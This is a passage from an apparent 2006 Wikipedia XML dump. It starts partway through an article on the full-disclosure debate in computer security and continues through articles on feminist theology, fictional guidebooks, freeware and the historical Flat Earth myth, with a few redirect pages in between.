In the case that a vendor is notified and a fix is not produced within a reasonable time, disclosure is generally made to the public.  Opinions differ on what constitutes a reasonable time.  Thirty days is typical, although the period could be a matter of hours.  [[Internet Security Systems]] were widely criticised for allowing less than eight hours before disclosing details of a vulnerability in the [[Apache HTTP Server]].

[[Limited disclosure]], with full details going to a restricted community of developers and vendors, and only the existence of the problem being released to the public, is another possible approach. Advocates of this approach also claim the term &quot;[[responsible disclosure]]&quot;.

To address the controversy of disclosing harmful information to the general Internet community, including [[blackhat]]s, [[Rain Forest Puppy]] developed the [[RFPolicy]], which is an attempt to create a proper way to alert vendors to security problems in their products, and establish guidelines on what to do if the vendor fails to respond.

== History ==

The issue of full disclosure was first raised in the context of [[locksmithing]], in a [[19th century]] controversy regarding whether weaknesses in lock systems should be kept secret in the locksmithing community, or revealed to the public.

According to [[A. C. Hobbs]]:

:A commercial, and in some respects a social doubt has been started within the last year or two, whether it is right to discuss so openly the security or insecurity of locks. Many well-meaning persons suppose that the discussion respecting the means for baffling the supposed safety of locks offers a premium for dishonesty, by showing others how to be dishonest. This is a fallacy. Rogues are very keen in their profession, and know already much more than we can teach them respecting their several kinds of roguery.

:Rogues knew a good deal about lock-picking long before locksmiths discussed it among themselves, as they have lately done. If a lock, let it have been made in whatever country, or by whatever maker, is not so inviolable as it has hitherto been deemed to be, surely it is to the interest of honest persons to know this fact, because the dishonest are tolerably certain to apply the knowledge practically; and the spread of the knowledge is necessary to give fair play to those who might suffer by ignorance.

:It cannot be too earnestly urged that an acquaintance with real facts will, in the end, be better for all parties. Some time ago, when the reading public was alarmed at being told how London milk is adulterated, timid persons deprecated the exposure, on the plea that it would give instructions in the art of adulterating milk; a vain fear, milkmen knew all about it before, whether they practiced it or not; and the exposure only taught purchasers the necessity of a little scrutiny and caution, leaving them to obey this necessity or not, as they pleased.

::-- From A. C. Hobbs (Charles Tomlinson, ed.), ''Locks and Safes: The Construction of Locks.'' Published by Virtue &amp; Co., London, 1853 (revised 1868).

The full disclosure debate came back to life through dissatisfaction at the methods employed by the Internet security infrastructure in the early [[1990s]].  Software security vulnerabilities were reported to [[CERT]], which would then inform the vendor of that software.  Public disclosure of the hole would not take place until the vendor had readied a patch to fix it.

However, since the disclosures were private, some vendors took years to produce a fix, or never produced a fix at all.  In the meantime, the vulnerabilities were actively exploited by [[black hat|cracker]]s.  The tendency by software companies to ignore warnings and rely on crackers' ignorance of the problem became known as [[security through obscurity]].

Since [[CERT]] and the vendors were aware of the holes, but attempted to keep them secret even to the administrators of machines being cracked in the field, it was felt that [[CERT]]'s policies were a manifestation of an impractical, &quot;ivory tower&quot; attitude.

In response to this, mailing lists and other avenues for full disclosure were established, notably the [[Bugtraq]] mailing list.

== Controversy ==

'''Full disclosure''' can be controversial, as often these disclosures include code or executable tools to exploit the vulnerability.  The argument against disclosure is that providing complete details or tools to malicious attackers, such as [[blackhat]]s and [[script kiddie]]s, allows them to take advantage of vulnerabilities more quickly and makes attacks more widespread.  However, this argument assumes that without disclosure such tools and attacks would not have occurred.  The advantage of disclosure is that [[whitehat]]s will obtain the information, and that the vulnerability will be detected and patched more quickly.

==See also==
*[[Security engineering]]
*[[Kerckhoffs' law]]
*[[Defensive programming]]
*[[Cracking]]
*[[hack (technology slang)|Hacking]]

==External links==
*[http://www.wildernesscoast.org/bib/disclosure-by-date.html Full Disclosure Debate Bibliography, by date]
*[http://www.schneier.com/crypto-gram-0009.html#1 Full Disclosure and the Window of Exposure] from [[Bruce Schneier]]'s [[Cryptogram|Crypto-Gram]], September 2000
*[http://www.schneier.com/crypto-gram-0111.html#1 Full Disclosure] from Bruce Schneier's Crypto-Gram, November 2001
*[http://www.schneier.com/crypto-gram-0002.html#PublicizingVulnerabilities  Publicizing Vulnerabilities], from Bruce Schneier's Crypto-Gram, February 15 2000
*[http://lists.grok.org.uk/mailman/listinfo/full-disclosure Full-Disclosure mailing list]
*Matt Blaze, [http://www.crypto.com/hobbs.html Is it harmful to discuss security vulnerabilities?], downloaded October 2005.
*Matt Mecham: [http://ips2.blogs.com/matts_blog/2004/09/why_full_disclo.html Why full disclosure is bad] 
*[http://www.spirit.com/Network/net0800.html#section-1.1. A history of the CERT Advisory CA-93:15 case, which spawned the movement in the first place]

[[Category:Computer security]]</text>
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    <title>Feminist theology</title>
    <id>11587</id>
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      <timestamp>2006-01-17T13:35:36Z</timestamp>
      <contributor>
        <username>Kaihsu</username>
        <id>10059</id>
      </contributor>
      <comment>/* See also */</comment>
      <text xml:space="preserve">'''Feminist theology''' is a movement, generally in the Western religious traditions (mostly [[Christianity]] and [[Judaism]]), to reconsider the traditions, practices, scriptures, and theologies of those religions from a [[feminism|feminist]] perspective.  Some of the goals of feminist theology include increasing the role of women among the clergy and religious authorities, reinterpreting male-dominated imagery and language about [[God]], and studying images of women in the religion's [[sacred texts]]. 

[[Feminism]] has had a great impact on many aspects of religious practice. In the liberal branches of [[Protestant]] Christianity, women are now ordained as [[clergy]]. In [[Reform Judaism|Reform]], [[Conservative Judaism|Conservative]] and [[Reconstructionist Judaism|Reconstructionist]] [[Judaism]], women are now ordained as [[rabbi]]s and [[cantor]]s. Within these Christian and Jewish groups, women's perspectives are now sought out in developing new statements of belief. 

Feminism has impacted other religious groups differently.  [[Orthodox Judaism]], the [[Roman Catholic Church]], the [[Eastern Orthodox Church]], conservative Protestant denominations such as the [[Southern Baptist]]s and the [[Confessional Lutheran]]s (for example [[Lutheran Church - Missouri Synod|Missouri Synod Lutherans]]) do not ordain women as clergy.  Although [[Islam]] allows women to become [[imam]]s, they may not lead men in prayer and are rare in most parts of the world.  

Although placing women in roles of religious leadership is an important issue to many, feminist theology attempts to consider every aspect of religious practice and thought. Some of the questions feminist theolgians ask are: 

* How do we do [[theology]]? The basic question of how theologians may go about creating systems of thought is being reinterpreted by feminist theologians. Many feminist theologians assert that personal experience can be an important component of insight into the divine, along with the more traditional sources of holy books or received tradition. (The relevance of personal experience to the policies of groups of people is a familiar notion to veterans of the [[feminist movement]].) 

* Who is God? Feminist theologians have pioneered the use of non- or multi-[[gender]]ed language for God, holding that language powerfully impacts belief about the behavior and essence of God. 

* Where are women in religious history? Feminist historical theologians study the roles of women in periods throughout history that have impacted religion: the Biblical period, the early Christian era, medieval Europe, and any period of import to a particular religion. They study individual women who influenced their religion or whose religious faith led them to impact their culture. The work of these scholars has helped feminist theologians claim historical figures as their predecessors in feminist theology. For example, [[Sojourner Truth]]'s &quot;Ain't I A Woman?&quot; speech pointed out, &quot;Where did your Christ come from? From God and a woman. Man had nothing to do with him!&quot; [[Elizabeth Cady Stanton]] produced the &quot;Woman's Bible,&quot; excising the traditional Christian text of all references she thought contradicted the positions of women's rights. 

==See also==
* '''[[Religion]]''' : [[Christian views of women]], [[God]], [[Goddess worship]], [[God and gender]]
* '''[[Theology]]''' : [[Liberation Theology]], [[Extra Ecclesiam Nulla Salus]]
* '''Other''' : [[Feminism]], [[When God Was a Woman]], [[Li Tim-Oi]]

[[Category:Theology]]
[[Category:Religious feminism]]
[[Category:Christian theology]]
[[Category:Liberation theology]]

[[nl:Feministische theologie]]
[[de:Feministische Theologie]]
[[tr:Feminist teoloji]]</text>
    </revision>
  </page>
  <page>
    <title>Frequency shift keying</title>
    <id>11588</id>
    <revision>
      <id>15909326</id>
      <timestamp>2005-05-03T23:44:58Z</timestamp>
      <contributor>
        <username>Jh51681</username>
        <id>71006</id>
      </contributor>
      <comment>redirect to [[Frequency-shift keying]]</comment>
      <text xml:space="preserve">#REDIRECT [[Frequency-shift keying]]</text>
    </revision>
  </page>
  <page>
    <title>FSK</title>
    <id>11589</id>
    <revision>
      <id>18679959</id>
      <timestamp>2005-07-12T16:07:53Z</timestamp>
      <contributor>
        <username>Grubber</username>
        <id>292593</id>
      </contributor>
      <comment>wikify to better conform to [[Wikipedia:Disambiguation|dab]] and [[Wikipedia:Manual of Style (disambiguation pages)|dab style]] -- no links in list</comment>
      <text xml:space="preserve">'''FSK''' can have alternative meanings:

* [[Frequency-shift keying]], a modulation scheme
* [[Forsvarets Spesialkommando]], a Norwegian military unit
* [[FSK (band)]], a German band

{{TLAdisambig}}

[[de:FSK]]</text>
    </revision>
  </page>
  <page>
    <title>Fuel cells</title>
    <id>11590</id>
    <revision>
      <id>15909328</id>
      <timestamp>2002-02-25T15:51:15Z</timestamp>
      <contributor>
        <ip>Conversion script</ip>
      </contributor>
      <minor />
      <comment>Automated conversion</comment>
      <text xml:space="preserve">#REDIRECT [[Fuel cell]]
</text>
    </revision>
  </page>
  <page>
    <title>Fictional guidebook</title>
    <id>11591</id>
    <revision>
      <id>40894184</id>
      <timestamp>2006-02-23T18:50:24Z</timestamp>
      <contributor>
        <username>Lampbane</username>
        <id>97129</id>
      </contributor>
      <minor />
      <comment>minor formatting plus spelling</comment>
      <text xml:space="preserve">Some [[fictional universe]]s feature useful guidebooks which assist the hero and friends through difficult situations.

'''Features of a great fictional guidebook:'''  Such books are ideally compact enough to carry on even the most strenuous adventures, yet detailed enough to contain exactly the information the reader needs at that particular point in the plot.
Many guidebooks are electronic in nature; some can access relevant information through a wireless connection.

{| border=&quot;1&quot; cellpadding=&quot;2&quot;
|-
!Fictional guidebook
!Universe
|-
|''[[Encyclopaedia Galactica]]''
|''[[The Foundation Series]]'' by [[Isaac Asimov]]
|-
|''The Hitchhiker's Guide to the Galaxy''
|''[[The Hitchhiker's Guide to the Galaxy|Hitchhiker Trilogy]]'' (in five parts) by [[Douglas Adams]]
|-
|''The [[Junior Woodchucks Guidebook]]'' 
|''[[Donald Duck]]'' [[comics]] by [[Carl Barks]] and ''[[DuckTales]]''
|-
|''[[Encyclopedia Frobozzica]]'' 
|''[[Zork]]''
|-
|''The Book of Rules'' 
|The ''Dancing Gods'' series by [[Jack L. Chalker]]
|-
|''A Young Lady's Illustrated Primer''
|[[Neal Stephenson]]'s novel, ''[[Neal Stephenson/The Diamond Age|The Diamond Age]]''
|-
|''Planetary Guides'' (annual)
|[[Planetary (comics)|Planetary]] by [[Warren Ellis]]
|-
|''[[Pokédex]]''
|[[Pokémon]] games and [[Pokémon (anime)|animation]]
|-
|''Highly Unpleasant Things It Is Sometimes Necessary to Know'' and ''Things That Are Not Good to Know at All''
|[[John Barnes (author)|John Barnes]]'s novel, ''One for the Morning Glory''
|-
|''The Mrin and Darine Codices''
|[[David Eddings]]' ''[[The Belgariad|Belgariad]]'' and ''[[The Malloreon|Malloreon]]''
|-
|[[Ferengi]] ''[[Rules of Acquisition]]''
|''[[Star Trek]]''
|-
|''Marcoh's Notes'' (AKA: ''Tim Marcoh's Guide on Baking Desserts'' - A guide written by the alchemist Tim Marcoh on the Philosophers' Stone, it is thought of as a cookbook, but is actually an alchemy reference written in code.)
|[[Fullmetal Alchemist]]
|-
|''Spates Catalog''
|''[[Ghostbusters]]''
|-
|''Tobin's Spirit Guide''
|''[[Ghostbusters]]''
|-
|''The Spells of Astoroth''
|''[[Bedknobs and Broomsticks]]''
|-
|''Handbook for the Recently Deceased''
|''[[Beetlejuice]]''
|-
|''The Code of Masked Wrestling''
|''[[¡Mucha Lucha!]]''
|-
|''The Slayer Handbook''
|''[[Buffy The Vampire Slayer]]''
|-
|''The Messiah's Handbook and Reminders for the Advanced Soul''
|[[Richard Bach]]'s novel, ''Illusions''
|-
|''A Really Useful Book''
|''[[Mirrormask]]''
|-
|''Stuffwell'' (which is not a book)
|[[Mario and Luigi: Partners in Time]]
|-
|[[Da Rules]]
|[[Fairly Odd Parents]]
|}

==See also==
* [[false document]]
* [[literature]]
* [[fictional book]]
* [[Archive of fictional things]]

{{sf-stub}}

[[Category:Fictional books|Guidebooks]]
[[Category:Lists of fictional things|Guidebooks]]
[[Category:Lists of books]]</text>
    </revision>
  </page>
  <page>
    <title>Freeware</title>
    <id>11592</id>
    <revision>
      <id>42035618</id>
      <timestamp>2006-03-03T10:15:10Z</timestamp>
      <contributor>
        <username>Tor Stein</username>
        <id>796442</id>
      </contributor>
      <minor />
      <comment>+iw:no</comment>
      <text xml:space="preserve">'''Freeware''' is computer [[software]] which is made available free of charge, as opposed to [[payware]] where the user is required to pay. 

Freeware contrasts with &quot;[[free software]]&quot;, due to the different meanings of the word &quot;free&quot;. Freeware is described as &quot;Gratis&quot;, as in &quot;free beer&quot; and refers to free price, versus &quot;Free Software&quot; referred to as [[libre software]], as in &quot;free speech&quot;, which refers to the license freedom.

==Freeware licencing==
The only criteria for being classed as &quot;Freeware&quot; is that the software be made available at no cost, thus Freeware can be covered by any type of license. Freeware and &quot;free software&quot; are not mutually exclusive, as the former refers to cost, the latter to licensing. However, &quot;free software&quot; which is also freeware is usually simply referred to just as &quot;free software&quot;, thus the term Freeware commonly refers to the sub-set of freeware with a proprietary license.

==History of use of the term==
The term ''freeware'' was coined by [[Andrew Fluegelman]] when he wanted to distribute a communications program named [[PC-Talk]] that he had created but for which he did not wish to use traditional methods of distribution because of their cost. Previously, he held a [[trademark]] on the term &quot;freeware&quot; but this trademark has since been abandoned. Fluegelman actually distributed PC-Talk via a process now referred to as [[shareware]].

==Types==
There are many variations on the freeware model. Freeware is an [[umbrella term]] which includes:

* [[Loss leader]]. Commercial vendors often release freeware as a [[loss leader]] to attract customers to other services or products available for a fee. 
* [[Adware]]. Adware is distributed as freeware, but it requires the user to view advertisements to use the software. Many cases of [[spyware]] have been adware.
* [[Donationware]] or '''Beggarware''' or [[Nagware]]. The authors of donationware ask that anyone using their software make a donation to the authors or to some third party such as a [[charity]]. Because the donation is optional, donationware may also be freeware or fall into some other category.
* [[Abandonware]]. Abandonware is commercial software that has not been sold for a long time or whose copyright holder is defunct; it has been &quot;abandoned&quot;. The licenses of most such software forbid redistribution or require payment, so distributing it violates the author's copyright (even if the author does not or cannot enforce it). &quot;Legal abandonware&quot; is a misnomer for commercial software that has been re-released by the copyright holder as freeware.
*[[Postcardware]]. The software is essentially freeware, however the author requests that you send a post card expressing thanks and providing feedback.
*[[Baitware]]. Very limited or defective freeware software, released to deceptively attract users and drive them to commercial products.


===Related software types===
*[[Shareware]] is distributed similarly to freeware, except that it requires payment after some trial period.
**One type of shareware is [[crippleware]], for which the user can pay to unlock more features or get a &quot;full version&quot;.

==See also==
*[[b:Freeware|Freeware]] at [[Wikibooks]].
*[[List of freeware games]]
*[[Pricelessware]]

==External links==
===Sources===
*[http://paulspicks.com/history.asp ''The History of Shareware'' by Michael E. Callahan]
*[http://www.gnu.org/philosophy/categories.html#freeware GNU's declaration that &quot;freeware&quot; is not the same as &quot;free software&quot;]
*[http://www.techsoup.org/howto/articlepage.cfm?articleid=40 Making Sense of Freeware, Open Source, and Shareware]
*[http://textfiles.fisher.hu/news/freeware.txt ''Andrew Fluegleman: In Memoriam'' by Kevin Strehlo]
*[http://www.arachnoid.com/careware/index.html Paul Lutus: CareWare concept]
*[http://www.freewarehof.org/names.html &quot;13 of the Great Freeware Writers&quot; by Rey Barry, the Freeware Hall of Fame]

===Freeware===
* {{dmoz|/Computers/Software/Freeware | {{PAGENAME}}}}

{{software distribution}}

[[Category:Software distribution]]
[[Category:Freeware|*]]

[[da:Freeware]]
[[de:Freeware]]
[[fr:Graticiel]]
[[ko:프리웨어]]
[[it:Freeware]]
[[nl:Freeware]]
[[no:Freeware]]
[[ja:フリーウェア]]
[[pl:Freeware]]
[[simple:Freeware]]
[[sk:Freeware]]
[[sl:Brezplačno programje]]
[[sv:Freeware]]
[[th:ฟรีแวร์]]</text>
    </revision>
  </page>
  <page>
    <title>Flat Earth</title>
    <id>11593</id>
    <revision>
      <id>42048214</id>
      <timestamp>2006-03-03T13:03:03Z</timestamp>
      <contributor>
        <username>NuncAutNunquam</username>
        <id>907747</id>
      </contributor>
      <minor />
      <text xml:space="preserve">[[Image:John Gower world Vox Clamantis.jpg|thumb|200px|An image from one of English writer [[John Gower]]'s works (c.1400) shows him shooting the world, a sphere of earth, air, and water]]
The notion of a '''Flat Earth''' refers to the idea that the inhabited surface of [[Earth]] is flat, rather than [[curvature|curved]] (see [[Spherical Earth]]).

It is commonly assumed that people from [[Classical antiquity|early antiquity]] generally believed the world was flat, but by the time of [[Pliny the Elder]] ([[1st century]]) its spherical shape was generally acknowledged. At that time [[Ptolemy]] derived his maps from a curved globe and developed the system of [[latitude]] and [[longitude]] (see [[clime]]). His writings remained the basis of [[Europe|European]] [[astronomy]] throughout the [[Middle Ages]].

The common misconception that people before the [[age of exploration]] believed that Earth was flat entered the popular imagination after [[Washington Irving]]'s publication of ''The Life and Voyages of Christopher Columbus'' in [[1828]]. In the United States, this belief persists in the popular imagination, and is even repeated in some widely read textbooks, including [[Thomas A. Bailey|Thomas Bailey]]'s ''[[The American Pageant]]'', where it is stated that &quot;The superstitious sailors ... grew increasingly mutinous...because they were fearful of sailing over the edge of the world&quot; (Loewen, Lies My Teacher Told Me p. 56).

A few early [[Christianity|Christian]] writers questioned or even opposed the sphericity of the Earth on [[theological]] grounds, but several of these writers are not thought to have been influential in the Middle Ages due to a scarcity of references to their work in mediaeval writings. Even though Europe's view of the world between 600 and 1000 is difficult to determine, by the [[1100]]s, at the latest, the [[geocentric model]] had supplanted any doubts about the Earth's sphericity in the minds of the learned people of Europe. This did not settle, however, the question of whether the [[antipodes]] were habitable, or even reachable.

== Antiquity ==

Belief in a flat Earth is found in humankind's oldest writings. In early [[Mesopotamia]]n thought the world was portrayed as a flat disk floating in the [[ocean]], and this forms the premise for early [[Greece|Greek]] maps like those of [[Anaximander]] and [[Hecataeus]].

By [[Classical antiquity|classical times]] an alternative idea, that Earth was spherical, had appeared.  This was espoused by [[Pythagoras]] apparently on aesthetic grounds, as he also held all other [[Astronomical objects|celestial bodies]] to be spherical. [[Aristotle]] provided physical evidence for the spherical Earth:

*Ships actually recede over the [[horizon]], disappearing hull-first. In a flat-earth model, they should simply get smaller and smaller until no longer visible, assuming that light travels in a straight line.
*Travelers going south see southern [[constellation]]s rise higher above the horizon. This is only possible if their &quot;straight up&quot; direction is at an angle to northerners' &quot;straight up&quot;. Thus Earth's surface cannot be flat.
*The border of the shadow of Earth on the Moon during the partial phase of a [[lunar eclipse]] is always circular, no matter how high the Moon is over the horizon. Only a sphere casts a circular shadow in every direction, whereas a circular disk casts an [[Ellipse|elliptical]] shadow in most directions.

Earth's circumference was estimated around [[240 BC]] by [[Eratosthenes]]. Eratosthenes knew that in Syrene (now [[Aswan]]), in [[Egypt]], the Sun was directly overhead at the summer [[solstice]]. He used geometry to come up with a circumference of 252,000 stades, which, depending on the length of the [[Ancient_Greek_weights_and_measures#Length|stadion]] unit, is within 2% and 20% of the actual circumference, [[1 E7 m|40,008 kilometres]].

During this period Earth was generally thought of as divided into [[clime|climes]], with frigid climes at the [[Geographical pole|poles]] and a deadly torrid clime at the [[equator]]. Beyond the torrid clime were the ''[[antipodes]]'' (people living on the opposite side of a spherical Earth, so called because their feet would be turned towards the opposite direction).

[[Lucretius]] was opposed to the concept of a spherical Earth, because he considered the idea of [[antipodes]] absurd. But by the [[1st century]], [[Pliny the Elder]] was in a position to claim that everyone agrees on the spherical shape of Earth (''[[Natural History (Pliny)|Natural History]]'', 2.64), although there continued to be disputes regarding the nature of the antipodes, and how it is possible to keep the ocean in a curved shape. Interestingly, Pliny as an &quot;intermediate&quot; theory considers also the possibility of an imperfect sphere, &quot;shaped like a pinecone&quot; (''Natural History'', 2.65)

==The Early Church==

There is evidence that the spherical Earth was accepted by many Christians. For example, Emperor [[Theodosius II]] of the [[Byzantine Empire]] placed the [[globus cruciger]] (which depicts Earth as round) on his coins.

However, the [[antipodes]] (thought to be separated from the [[Mediterranean]] world by the uncrossable torrid [[clime]]) were difficult to reconcile with the Christian view of a unified human race descended from one couple and redeemed by a single Christ. Consequently, some of the [[Church Fathers]] questioned their existence and even the roundness of Earth. [[Augustine of Hippo|Saint Augustine]] (354-430) wrote:

: &quot;Those who affirm [a belief in antipodes] do not claim to possess any actual information; they merely conjecture that, since the Earth is suspended within the concavity of the heavens, and there is as much room on the one side of it as on the other, therefore the part which is beneath cannot be void of human inhabitants.  They fail to notice that, even should it be believed or demonstrated that the world is round or spherical in form, it does not follow that the part of the Earth opposite to us is not completely covered with water, or that any conjectured dry land there should be inhabited by men. For Scripture, which confirms the truth of its historical statements by the accomplishment of its prophecies, teaches not falsehood; and it is too absurd to say that some men might have set sail from this side and, traversing the immense expanse of ocean, have propagated there a race of human beings descended from that one first man.&quot;  (''[[De Civitate Dei]]'', 16.9)

Augustine denied that the antipodes were inhabited by men, not the idea of a round Earth. However, the phrase &quot;even should it be believed or demonstrated that the world is round&quot; (Latin: ''etiamsi figura conglobata et rotunda mundus esse credatur sive aliqua ratione monstretur'') suggests that he was skeptical of the round Earth, and perhaps even that many others were as well.

A few authors directly opposed the round Earth:
[[Image:Cosmas Indicopleustes - Topographia Christiana 1.jpg|thumb|Cosmas Indicopleustes' world picture - flat earth in a Tabernacle.]]
*[[Lactantius]] (245&amp;ndash;325) called it &quot;folly&quot; because people on a sphere would fall down;
*Saint [[Cyril of Jerusalem]] (315&amp;ndash;386) saw Earth as a firmament floating on water (though in his case, the relevant quote is found in the course of a sermon to the newly baptized, and it is unclear whether he was speaking poetically or in a physical sense);
*Saint [[John Chrysostom]] (344&amp;ndash;408) saw a spherical Earth as contradictory to scripture;
*[[Diodorus of Tarsus]] (d. 394) also argued for a flat Earth;
*[[Severian, Bishop of Gabala|Severian]], Bishop of Gabala, (d. 408);
*The Egyptian monk [[Cosmas Indicopleustes]] (547) in his ''Topographia Christiana'', where the Covenant Ark was meant to represent the whole universe, argued on theological grounds that the Earth was flat, a [[parallelogram]] enclosed by four oceans. It is likely that this description was intended to humorously illustrate what not to do when engaging in [[Biblical exegesis]], rather than a true model for the earth{{citation needed}}.

At least one early Christian writer, [[Basil of Caesarea]] (329&amp;ndash;379), believed the matter to be theologically irrelevant. (Hexaemeron 9:1)

Different historians have argued either for very high (e.g. [[Andrew Dickson White|White]]) or very low (e.g. [[Jeffrey Russell]]) influence of these writers in the Middle Ages. Among today's historians, several of them are not thought to have been influential due to a scarcity of references to their work in mediaeval writings.

== The [[Middle Ages]] ==

=== Early Middle Ages ===
[[Image:Denmark_globus_cruciger.jpg|thumb|A [[globus cruciger]]: the earthly realm surmounted by the Christian cross.]]
Europe's view of the world between 600 and 1000 is difficult to determine because of the general scarcity of records from that time and the primitive [[cartography]]: most medieval [[mappa mundi|mappae mundi]] served as indices of geographical terms rather than navigational aids.  Our best evidence comes from the writings of theologians:

*[[Isidore of Seville]] (560 – 636) taught that Earth was round, but shaped like a wheel, apparently thinking of a flat Earth (''[[Etymologiae]]'', XIV). However, Isidore refused to take a clear position on the matter, preferring to report other philosophers' opinions, and he also admitted the possibility of the antipodes' existence. Isidore's wheel analogy continued to be used by authors clearly favouring a spherical earth, e.g. the [[9th century]] bishop [[Hrabanus Maurus]] who compared the habitable part of the northern hemisphere ([[Aristotle]]'s northern temperate clime) with a wheel, as it were imagined as slice of the whole sphere.
*[[Bede]] (c.672 – 735) wrote that Earth was round, and clearly indicated that it was round in the sense of a ball or sphere, rather than a flat disc.
*[[Vergilius of Salzburg|Vergilius]] (c.700 – 784) thought &quot;that beneath the Earth there was another world and other men, another Sun and Moon.&quot; [[Saint Boniface]] accused him of &quot;teaching a doctrine in regard to the rotundity of the Earth, which was 'contrary to the Scriptures.'&quot;. [[Pope Zacharias]] decided that &quot;if it be proved that he held the said doctrine, a council be held, and Vergilius expelled from the Church and deprived of his priestly dignity.&quot;[http://www.newadvent.org/cathen/15353d.htm] Vergilius succeeded in freeing himself from the charge, he later became a [[bishop]] and was [[canonised]] in the thirteenth century.

Of course, it was probably the priests in the pulpits, not the few noted intellectuals, who defined public opinion, and as they left no records it is difficult to tell what awareness the wider population may have had.  However the symbolism of the orb ([[Globus cruciger]]), used in imperial regelia from the [[5th century]] onwards, presupposes that at least the political establishment (which at that time was generally not literate and drew its world view precisely from such visual symbols) could relate to the concept of a spherical world.

=== Later Middle Ages ===

By the [[11th century]], [[Europe]] had learned of [[Arab]] astronomy, and abundant records suggest that any doubts that Europeans had had in earlier times were generally eliminated. A few examples: the most important and widely taught theologian of the Middle Ages, [[Thomas Aquinas]] (1225&amp;ndash;1274), believed in a spherical earth. [[Hermannus Contractus]] (1013&amp;ndash;1054) is among the earliest Christian scholars to estimate the circumference of Earth with [[Eratosthenes]]' method. In addition, Dante's [[Divine Comedy]] portrays Earth as a sphere.

The fact that the Elucidarius (c. [[1120]]), an important manual for the instruction of low order clergy in the middle ages, explicitly refers to a spherical Earth supports the contention that the spherical shape of Earth was also common knowledge outside scholarly circles.  Likewise, the fact that [[Bertold von Regensburg]] (mid-13th century) used the spherical Earth as a sermon illustration shows that he could assume this knowledge among his congregation.  The sermon was held in the vernacular (i.e. German as opposed to Latin), and thus was not intended for a learned audience.

However, as late as [[1400s]], the Spanish theologian [[Tostatus]] disputed the existence of any unreachable [[antipodes]][http://www.infidels.org/library/historical/andrew_white/Chapter2.html#III].

==Modern times==
[[Image:Flammarion.jpg|270px|thumb|left|the Flammarion woodcut. Flammarion's caption translates to  &quot;''A medieval missionary tells that he has found the point where heaven and Earth meet...''&quot;]]
During the [[19th century]], the [[Romanticism|Romantic]] conception of a European &quot;[[Dark Ages|Dark Age]]&quot; gave much more prominence to the Flat Earth model than it ever possessed historically. The widely circulated woodcut of a man poking his head through the firmament of a flat Earth to view the mechanics of the spheres, executed in the style of the [[16th century]] cannot be traced to an earlier source than [[Camille Flammarion]]'s ''L'Atmosphere: Météorologie Populaire'' (Paris, [[1888]], p. 163) [http://homepage.mac.com/kvmagruder/flatEarth/source.html]. The woodcut illustrates the statement in the text that a medieval missionary claimed that &quot;he reached the horizon where the earth and the heavens met&quot;, an anecdote that may be traced back to [[Voltaire]], but not to any known medieval source. In its original form, the woodcut included a decorative border that places it in the 19th century; in later publications, some claiming that the woodcut did, in fact, date to the 16th century, the border was removed. Flammarion, according to anecdotal evidence, had commissioned the woodcut himself. In any case, no source of the image earlier than Flammarion's book is known.

Russell, a professor of history at Santa Barbara who has written widely on mediaeval religion, heresy and witchcraft, explored the issue in ''Inventing the Flat Earth: Columbus and Modern Historians''. Russell claims that the Flat Earth theory is a fable used to impugn pre-modern civilisation, especially that of the Middle Ages in Europe. Today essentially all professional mediaevalists agree with Russell that the &quot;mediaeval flat earth&quot; is a nineteenth-century fabrication, and that the few verifiable &quot;flat earthers&quot; were the exception.

As of the beginning of the [[21st Century]], there remain populations within rural cultures which, unexposed to technological civilisation, consider the world to be flat.  With no long-distance communication requirements or other technological endeavours, their beliefs appear to suffice.

From a European perspective, [[Portugal|Portuguese]] exploration of [[Africa]] and [[Asia]] in the [[15th century]] removed any serious doubts, and [[Ferdinand Magellan]]'s circumnavigation any remaining ones.  The erroneous belief that [[Christopher Columbus]]'s sailors feared they would fall off the edge of the world is false: they were understandably uncertain about a voyage into the unknown, and were also worried that food supplies would run out.  In fact, Columbus did not provide sufficient supplies to reach [[China]] or the [[East Indies]], his original destination; and if [[The Americas|America]] had not existed then his expedition might have died of starvation. Columbus believed the Earth to be much smaller than it is now known to be; about the size of [[Mars (planet)|Mars]], in fact.

Some Christians in [[England]] and [[United States]] tried to revive Flat Earth thinking in the [[19th century]]. When [[Joshua Slocum]] arrived in the [[Transvaal]] Republic during his solo [[circumnavigation]] of the world, [[Paul Kruger|President Kruger]] berated him, telling him &quot;you don't mean around the world; it is impossible! You mean in the world!&quot; 

Modern people who do not accept the spherical Earth and base this opinion on Scripture do not represent a continuing school of [[Biblical exegesis]], although some small groups such as the [[Flat Earth Society]] in the USA work hard to keep the concept alive, and have claimed a few thousand followers [http://www.talkorigins.org/faqs/flatearth.html]. [[Charles K. Johnson]] ran the Flat Earth Society from his home in [[California]] until he died in [[2001]].

==In fiction==
In the fictional [[interactive fiction|text adventure]] universe of [[Zork]], [[Quendor]] is located on a flat planet held up by a giant [[Creatures in Zork|Brogmoid]].

[[Terry Pratchett]]'s [[Discworld]] novels are set on a [[Discworld (world)|disc-shaped world]] resting on the backs of four huge elephants which are in turn standing on the back of an enormous turtle.

==Notes==
*{{fnb|1}}It was against this theory that [[George Best (16th Century)|George Best]] wrote his chapter entitled &quot;Experiences and reasons of the Sphere, to prove all parts of the worlde &lt;!--sic--&gt; habitable, and thereby to confute the position of the five zones&quot; (''A True Discourse'', 1578).

==See also==
*[[Islam and flat-earth theories]]
*[[Antipodes]]
*[[T and O map]]
*[[Hollow earth]]
*The ''[[Discworld]]'' series, written by [[Terry Pratchett]]
*The [[Flat Earth Society]]

==Further reading==

*''Inventing the Flat Earth'', Jeffrey Burton Russell, Praeger Paperback, 1997, ISBN 027595904X; see [http://www.id.ucsb.edu/fscf/library/RUSSELL/FlatEarth.html his summary]
*Andrew White, [http://www.infidels.org/library/historical/andrew_white/Andrew_White.html The Warfare Of Science With Theology] (1896)
* Gingerich, O. 1992. &quot;Astronomy in the age of Columbus&quot;. Scientific American, 267(5), (November), 66-71. (An expansion of some of Russell’s historical material, with comments on the subsequent Copernican Revolution.)
* Gould, S.J. 1996. The late birth of a flat Earth. In: Dinosaur in a haystack, Jonathan Cape, London, 3-40. (Reprinted from &quot;The persistently flat Earth&quot;, Natural History, 103, March 1994, 12-19. Draws extensively from Russell and discusses the way a desire to see &quot;progress&quot; has led to the rewriting of history and to the advocacy of a warfare between science and religion).
* Tyler, D.J. 1996. The impact of the Copernican Revolution on biblical interpretation, Origins, July (No. 21), 2-8. (Discusses the &quot;language of appearance&quot; used in the Bible and the way hermeneutical issues were clarified by the Copernican revolution. The principles developed in this article are directly applicable to any claim that the Bible &quot;teaches a Flat Earth&quot;.)

==External links==
* [http://www.ethicalatheist.com/docs/flat_earth_myth_ch5.html 7000 Years of Thinking Regarding Earth's Shape]
